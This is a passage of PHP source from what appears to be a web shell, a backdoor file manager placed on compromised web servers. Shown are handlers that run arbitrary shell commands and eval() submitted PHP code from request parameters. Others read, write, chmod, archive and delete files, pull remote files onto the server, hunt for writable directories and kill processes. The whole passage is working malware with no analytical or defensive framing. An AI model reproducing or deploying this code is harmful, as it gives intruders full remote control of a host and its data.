  3815.   elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
  3816.   if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
  3817.   elseif ($actpastebuff) {
  3818.     $psterr = "";
  3819.     foreach($sess_data["copy"] as $k=>$v) {
  3820.       $to = $d.basename($v);
  3821.       if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  3822.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  3823.     }
  3824.     foreach($sess_data["cut"] as $k=>$v) {
  3825.       $to = $d.basename($v);
  3826.       if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  3827.       unset($sess_data["cut"][$k]);
  3828.     }
  3829.     ca_sess_put($sess_data);
  3830.     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  3831.     $x = "ls";
  3832.   }
  3833.   elseif ($actarcbuff) {
  3834.     $arcerr = "";
  3835.     if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  3836.     else {$ext = ".tar.gz";}
  3837.     if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  3838.     $cmdline .= " ".$actarcbuff_path;
  3839.     $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  3840.     foreach($objects as $v) {
  3841.       $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  3842.       if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  3843.       if (is_dir($v)) {
  3844.         if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  3845.         $v .= "*";
  3846.       }
  3847.       $cmdline .= " ".$v;
  3848.     }
  3849.     $tmp = realpath(".");
  3850.     chdir($d);
  3851.     $ret = myshellexec($cmdline);
  3852.     chdir($tmp);
  3853.     if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  3854.     $ret = str_replace("\r\n","\n",$ret);
  3855.     $ret = explode("\n",$ret);
  3856.     if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  3857.     foreach($sess_data["cut"] as $k=>$v) {
  3858.       if (in_array($v,$ret)) {fs_rmobj($v);}
  3859.       unset($sess_data["cut"][$k]);
  3860.     }
  3861.     ca_sess_put($sess_data);
  3862.     if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  3863.     $x = "ls";
  3864.   }
  3865.   elseif ($actpastebuff) {
  3866.     $psterr = "";
  3867.     foreach($sess_data["copy"] as $k=>$v) {
  3868.       $to = $d.basename($v);
  3869.       if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  3870.       if ($copy_unset) {unset($sess_data["copy"][$k]);}
  3871.     }
  3872.     foreach($sess_data["cut"] as $k=>$v) {
  3873.       $to = $d.basename($v);
  3874.       if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  3875.       unset($sess_data["cut"][$k]);
  3876.     }
  3877.     ca_sess_put($sess_data);
  3878.     if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  3879.     $x = "ls";
  3880.   }
  3881. }
  3882. if ($x == "cmd") {
  3883.   @chdir($chdir);
  3884.   if (!empty($submit)) {
  3885.     echo "<div class=barheader>.: Result of Command Execution :.</div>";
  3886.     $olddir = realpath(".");
  3887.     @chdir($d);
  3888.     $ret = myshellexec($cmd);
  3889.     $ret = convert_cyr_string($ret,"d","w");
  3890.     if ($cmd_txt) {
  3891.       $rows = count(explode("\r\n",$ret))+1;
  3892.       if ($rows < 10) {$rows = 10; }
  3893.       if ($msie) { $cols = 113; }
  3894.       else { $cols = 117;}
  3895.       echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
  3896.     }
  3897.     else {echo $ret."<br>";}
  3898.     @chdir($olddir);
  3899.   }
  3900.   else {
  3901.     echo "<b>Command Execution</b>";
  3902.     if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  3903.   }
  3904. }
  3905. if ($x == "ls") {
  3906.   if (count($ls_arr) > 0) { $list = $ls_arr; }
  3907.   else {
  3908.     $list = array();
  3909.     if ($h = @opendir($d)) {
  3910.       while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  3911.       closedir($h);
  3912.     }
  3913.   }
  3914.   if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  3915.   else {
  3916.     $objects = array();
  3917.     $vd = "f"; 
  3918.     if ($vd == "f") {
  3919.       $objects["head"] = array();
  3920.       $objects["folders"] = array();
  3921.       $objects["links"] = array();
  3922.       $objects["files"] = array();
  3923.       foreach ($list as $v) {
  3924.         $o = basename($v);
  3925.         $row = array();
  3926.         if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
  3927.         elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
  3928.         elseif (is_dir($v)) {
  3929.           if (is_link($v)) {$type = "LINK";}
  3930.           else {$type = "DIR";}
  3931.           $row[] = $v;
  3932.           $row[] = $type;
  3933.         }
  3934.         elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  3935.         $row[] = filemtime($v);
  3936.         if (!$win) {
  3937.           $ow = posix_getpwuid(fileowner($v));
  3938.           $gr = posix_getgrgid(filegroup($v));
  3939.           $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  3940.         }
  3941.         $row[] = fileperms($v);
  3942.         if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  3943.         elseif (is_link($v)) {$objects["links"][] = $row;}
  3944.         elseif (is_dir($v)) {$objects["folders"][] = $row;}
  3945.         elseif (is_file($v)) {$objects["files"][] = $row;}
  3946.         $i++;
  3947.       }
  3948.       $row = array();
  3949.       $row[] = "<b>Name</b>";
  3950.       $row[] = "<b>Size</b>";
  3951.       $row[] = "<b>Date Modified</b>";
  3952.       if (!$win) {$row[] = "<b>Owner/Group</b>";}
  3953.       $row[] = "<b>Perms</b>";
  3954.       $row[] = "<b>Action</b>";
  3955.       $parsesort = parsesort($sort);
  3956.       $sort = $parsesort[0].$parsesort[1];
  3957.       $k = $parsesort[0];
  3958.       if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  3959.       $y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  3960.       $y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  3961.       $row[$k] .= $y;
  3962.       for($i=0;$i<count($row)-1;$i++) {
  3963.         if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  3964.       }
  3965.       $v = $parsesort[0];
  3966.       usort($objects["folders"], "tabsort");
  3967.       usort($objects["links"], "tabsort");
  3968.       usort($objects["files"], "tabsort");
  3969.       if ($parsesort[1] == "d") {
  3970.         $objects["folders"] = array_reverse($objects["folders"]);
  3971.         $objects["files"] = array_reverse($objects["files"]);
  3972.       }
  3973.       $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  3974.       $tab = array();
  3975.       $tab["cols"] = array($row);
  3976.       $tab["head"] = array();
  3977.       $tab["folders"] = array();
  3978.       $tab["links"] = array();
  3979.       $tab["files"] = array();
  3980.       $i = 0;
  3981.       foreach ($objects as $a) {
  3982.         $v = $a[0];
  3983.         $o = basename($v);
  3984.         $dir = dirname($v);
  3985.         if ($disp_fullpath) {$disppath = $v;}
  3986.         else {$disppath = $o;}
  3987.         $disppath = str2mini($disppath,60);
  3988.         if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  3989.         elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  3990.         foreach ($regxp_highlight as $r) {
  3991.           if (ereg($r[0],$o)) {
  3992.             if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
  3993.             else {
  3994.               $r[1] = round($r[1]);
  3995.               $isdir = is_dir($v);
  3996.               if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
  3997.                 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  3998.                 $disppath = $r[2].$disppath.$r[3];
  3999.                 if ($r[4]) {break;}
  4000.               }
  4001.             }
  4002.           }
  4003.         }
  4004.         $uo = urlencode($o);
  4005.         $ud = urlencode($dir);
  4006.         $uv = urlencode($v);
  4007.         $row = array();
  4008.         if ($o == ".") {
  4009.           $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> ".$o."</a>";
  4010.           $row[] = "CURDIR";
  4011.         }
  4012.         elseif ($o == "..") {
  4013.           $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
  4014.           $row[] = "UPDIR";
  4015.         }
  4016.         elseif (is_dir($v)) {
  4017.           if (is_link($v)) {
  4018.             $disppath .= " => ".readlink($v);
  4019.             $type = "LINK";
  4020.             $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
  4021.           }
  4022.           else {
  4023.             $type = "DIR";
  4024.             $row[] =  "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
  4025.           }
  4026.           $row[] = $type;
  4027.         }
  4028.         elseif(is_file($v)) {
  4029.           $ext = explode(".",$o);
  4030.           $c = count($ext)-1;
  4031.           $ext = $ext[$c];
  4032.           $ext = strtolower($ext);
  4033.           $row[] =  "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
  4034.           $row[] = view_size($a[1]);
  4035.         }
  4036.         $row[] = date("d.m.Y H:i:s",$a[2]);
  4037.         if (!$win) {$row[] = $a[3];}
  4038.         $row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  4039.         if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  4040.         else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  4041.         if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
  4042.         else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
  4043.         if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  4044.         elseif (is_link($v)) {$tab["links"][] = $row;}
  4045.         elseif (is_dir($v)) {$tab["folders"][] = $row;}
  4046.         elseif (is_file($v)) {$tab["files"][] = $row;}
  4047.         $i++;
  4048.       }
  4049.     }
  4050.     $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  4051.     echo "<div class=barheader>.: ";
  4052.     if (!empty($fx_infohead)) { echo $fx_infohead; }
  4053.     else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
  4054.     echo " :.</div>\n";
  4055.     echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
  4056.          "<table class=explorer>";
  4057.     foreach($table as $row) {
  4058.       echo "<tr>";
  4059.       foreach($row as $v) {echo "<td>".$v."</td>";}
  4060.       echo "</tr>\r\n";
  4061.     }
  4062.     echo "</table>".
  4063.          "<script>".
  4064.          "function ls_setcheckboxall(status) {".
  4065.          " var id = 1; var num = ".(count($table)-2).";".
  4066.          " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
  4067.          "}".
  4068.          "function ls_reverse_all() {".
  4069.          " var id = 1; var num = ".(count($table)-2).";".
  4070.          " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
  4071.          "}".
  4072.          "</script>".
  4073.          "<div align=\"right\">".
  4074.          "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">  <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
  4075.          "<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
  4076.     if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
  4077.       echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">      <input type=submit name=\"actpastebuff\" value=\"Paste\">      <input type=submit name=\"actemptybuff\" value=\"Empty buffer\">     ";
  4078.     }
  4079.     echo "<select name=x><option value=\"".$x."\">With selected:</option>";
  4080.     echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  4081.     echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  4082.     if ($usefsbuff) {
  4083.       echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
  4084.       echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
  4085.       echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
  4086.     }
  4087.     echo "</select> <input type=submit value=\"Confirm\"></div>";
  4088.     echo "</form>";
  4089.   }
  4090. }
  4091. if ($x == "tools") 
  4092. {
  4093.  
  4094. }
  4095. if ($x == "phpfsys") {
  4096.   echo "<div align=left>";
  4097.   $fsfunc = $phpfsysfunc;
  4098.   if ($fsfunc=="copy") {
  4099.     if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
  4100.     else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
  4101.   }
  4102.   elseif ($fsfunc=="rename") {
  4103.     if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
  4104.     else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
  4105.   }
  4106.   elseif ($fsfunc=="chmod") {
  4107.     if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
  4108.     else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
  4109.   }
  4110.   elseif ($fsfunc=="read") {
  4111.     $hasil = @file_get_contents($arg1);
  4112.     echo "<b>Filename:</b> $arg1<br>";
  4113.     echo "<textarea cols=150 rows=20>";
  4114.     echo $hasil;
  4115.     echo "</textarea>\n";
  4116.   }
  4117.   elseif ($fsfunc=="write") {
  4118.     if(@file_put_contents($d.$arg1,$arg2)) {
  4119.       echo "<b>Saved!</b> ".$d.$arg1;
  4120.     }
  4121.     else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
  4122.   }
  4123.   elseif ($fsfunc=="downloadbin") {
  4124.     $handle = fopen($arg1, "rb");
  4125.     $contents = '';
  4126.     while (!feof($handle)) {
  4127.       $contents .= fread($handle, 8192);
  4128.     }
  4129.     $r = @fopen($d.$arg2,'w');
  4130.     if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  4131.     else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
  4132.     fclose($r);
  4133.     fclose($handle);
  4134.   }
  4135.   elseif ($fsfunc=="download") {
  4136.     $text = implode('', file($arg1));
  4137.     if ($text) {
  4138.       $r = @fopen($d.$arg2,'w');
  4139.       if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
  4140.       else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
  4141.       fclose($r);
  4142.     }
  4143.     else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
  4144.   }
  4145.   elseif ($fsfunc=='mkdir') {
  4146.     $thedir = $d.$arg1;
  4147.     if ($thedir != $d) {
  4148.       if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
  4149.       elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
  4150.       else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
  4151.     }
  4152.     else { echo "Couldn't create current dir:<b> $thedir</b>"; }
  4153.   }
  4154.   elseif ($fsfunc=='fwritabledir') {
  4155.     function recurse_dir($dir,$max_dir) {
  4156.       global $dir_count;
  4157.       $dir_count++;
  4158.       if( $cdir = @dir($dir) ) {
  4159.         while( $entry = $cdir-> read() ) {
  4160.           if( $entry != '.' && $entry != '..' ) {
  4161.             if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
  4162.              if ($dir_count > $max_dir) { return; }
  4163.               echo "[".$dir_count."] ".$dir.$entry."\n";
  4164.               recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  4165.             }
  4166.           }
  4167.         }
  4168.         $cdir->close();
  4169.       }
  4170.     }
  4171.     if (!$arg1) { $arg1 = $d; }
  4172.     if (!$arg2) { $arg2 = 10; }
  4173.     echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
  4174.     echo "<pre>";
  4175.     recurse_dir($arg1,$arg2);
  4176.     echo "</pre>";
  4177.     $total = $dir_count - 1;
  4178.     echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  4179.   }
  4180.   else {
  4181.     if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  4182.     else {
  4183.       if ($hasil = $fsfunc($arg1)) {
  4184.         echo "<b>Result of $fsfunc $arg1:</b><br>";
  4185.         if (!is_array($hasil)) { echo "$hasil\n"; }
  4186.         else {
  4187.           echo "<pre>";
  4188.           foreach ($hasil as $v) { echo $v."\n"; }
  4189.           echo "</pre>";
  4190.         }
  4191.       }
  4192.       else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  4193.     }
  4194.   }
  4195.   echo "</div>\n";
  4196. }
  4197. if ($x == "processes") {
  4198.   echo "<div class=barheader>.: Processes :.</div>";
  4199.   if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
  4200.   else { $handler = "tasklist"; }
  4201.   $ret = myshellexec($handler);
  4202.   if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  4203.   else {
  4204.     if (empty($processes_sort)) {$processes_sort = $sort_default;}
  4205.     $parsesort = parsesort($processes_sort);
  4206.     if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  4207.     $k = $parsesort[0];
  4208.     if ($parsesort[1] != "a") {
  4209.       $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
  4210.     }
  4211.     else {
  4212.       $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  4213.     }
  4214.     $ret = htmlspecialchars($ret);
  4215.     if (!$win) {
  4216.       if ($pid) {
  4217.         if (is_null($sig)) {$sig = 9;}
  4218.         echo "Sending signal ".$sig." to #".$pid."... ";
  4219.         if (posix_kill($pid,$sig)) {echo "OK.";}
  4220.         else {echo "ERROR.";}
  4221.       }
  4222.       while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  4223.       $stack = explode("\n",$ret);
  4224.       $head = explode(" ",$stack[0]);
  4225.       unset($stack[0]);
  4226.       for($i=0;$i<count($head);$i++) {
  4227.         if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
  4228.       }
  4229.       $prcs = array();
  4230.       foreach ($stack as $line) {
  4231.         if (!empty($line)) {
  4232.           echo "<tr>";
  4233.           $line = explode(" ",$line);
  4234.           $line[10] = join(" ",array_slice($line,10));
  4235.           $line = array_slice($line,0,11);
  4236.           if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
  4237.           $line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  4238.           $prcs[] = $line;
  4239.           echo "</tr>";
  4240.         }
  4241.       }
  4242.     }
  4243.     else {
  4244.       while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
  4245.       while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
  4246.       $ret = convert_cyr_string($ret,"d","w");
  4247.       $stack = explode("\n",$ret);
  4248.       unset($stack[0],$stack[2]);
  4249.       $stack = array_values($stack);
  4250.       $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  4251.       $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  4252.       $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  4253.       $head = explode(" ",$stack[0]);
  4254.       $stack = array_slice($stack,1);
  4255.       $head = array_values($head);
  4256.       if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
  4257.       else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
  4258.       if ($k > count($head)) {$k = count($head)-1;}
  4259.       for($i=0;$i<count($head);$i++) {
  4260.         if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  4261.       }
  4262.       $prcs = array();
  4263.       unset($stack[0]);
  4264.       foreach ($stack as $line) {
  4265.         if (!empty($line)) {
  4266.           $line = explode(" ",$line);
  4267.           $line[4] = str_replace(".","",$line[4]);
  4268.           $line[4] = intval($line[4]) * 1024;
  4269.           unset($line[5]);
  4270.           $prcs[] = $line;
  4271.         }
  4272.       }
  4273.     }
  4274.     $head[$k] = "<b>".$head[$k]."</b>".$y;
  4275.     $v = $processes_sort[0];
  4276.     usort($prcs,"tabsort");
  4277.     if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  4278.     $tab = array();
  4279.     $tab[] = $head;
  4280.     $tab = array_merge($tab,$prcs);
  4281.     echo "<table class=explorer>";
  4282.     foreach($tab as $i=>$k) {
  4283.       echo "<tr>";
  4284.       foreach($k as $j=>$v) {
  4285.         if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
  4286.         echo "<td>".$v."</td>";
  4287.       }
  4288.       echo "</tr>";
  4289.     }
  4290.     echo "</table>";
  4291.   }
  4292. }
  4293. if ($x == "eval") {
  4294.   if (!empty($eval)) {
  4295.     echo "Result of execution this PHP-code:<br>";
  4296.     $tmp = ob_get_contents();
  4297.     $olddir = realpath(".");
  4298.     @chdir($d);
  4299.     if ($tmp) {
  4300.       ob_clean();
  4301.       eval($eval);
  4302.       $ret = ob_get_contents();
  4303.       $ret = convert_cyr_string($ret,"d","w");
  4304.       ob_clean();
  4305.       echo $tmp;
  4306.       if ($eval_txt) {
  4307.         $rows = count(explode("\r\n",$ret))+1;
  4308.         if ($rows < 10) {$rows = 10;}
  4309.         echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  4310.       }
  4311.       else {echo $ret."<br>";}
  4312.     }
  4313.     else {
  4314.       if ($eval_txt) {
  4315.         echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
  4316.         eval($eval);
  4317.         echo "</textarea>";
  4318.       }
  4319.       else {echo $ret;}
  4320.     }
  4321.     @chdir($olddir);
  4322.   }
  4323.   else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  4324.   echo "<form action=\"".$surl."\" method=POST><input type=hidden name=x value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  4325. }
  4326. if ($x == "f") {
  4327.   echo "<div align=left>";
  4328.   if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  4329.     if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  4330.     else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  4331.   }
  4332.   else {
  4333.     $r = @file_get_contents($d.$f);
  4334.     $ext = explode(".",$f);
  4335.     $c = count($ext)-1;
  4336.     $ext = $ext[$c];
  4337.     $ext = strtolower($ext);
  4338.     $rft = "";
  4339.     foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  4340.     if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  4341.     if (empty($ft)) {$ft = $rft;}
  4342.     $arr = array(
  4343.         array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"),
  4344.         array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"),
  4345.         array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"),
  4346.         array("Code","code"),
  4347.         array("Session","phpsess"),
  4348.         array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"),
  4349.         array("SDB","sdb"),
  4350.         array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"),
  4351.         array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"),
  4352.         array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"),
  4353.         array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"),
  4354.         array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit")
  4355.     );
  4356.     echo "<b>Viewing file:    <img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  4357.     foreach($arr as $t) {
  4358.       if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  4359.       elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  4360.       else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  4361.       echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  4362.     }
  4363.     echo "<hr size=\"1\" noshade>";
  4364.     if ($ft == "info") {
  4365.       echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  4366.       if (!$win) {
  4367.         echo "<tr><td><b>Owner/Group</b></td><td> ";
  4368.         $ow = posix_getpwuid(fileowner($d.$f));
  4369.         $gr = posix_getgrgid(filegroup($d.$f));
  4370.         echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  4371.       }
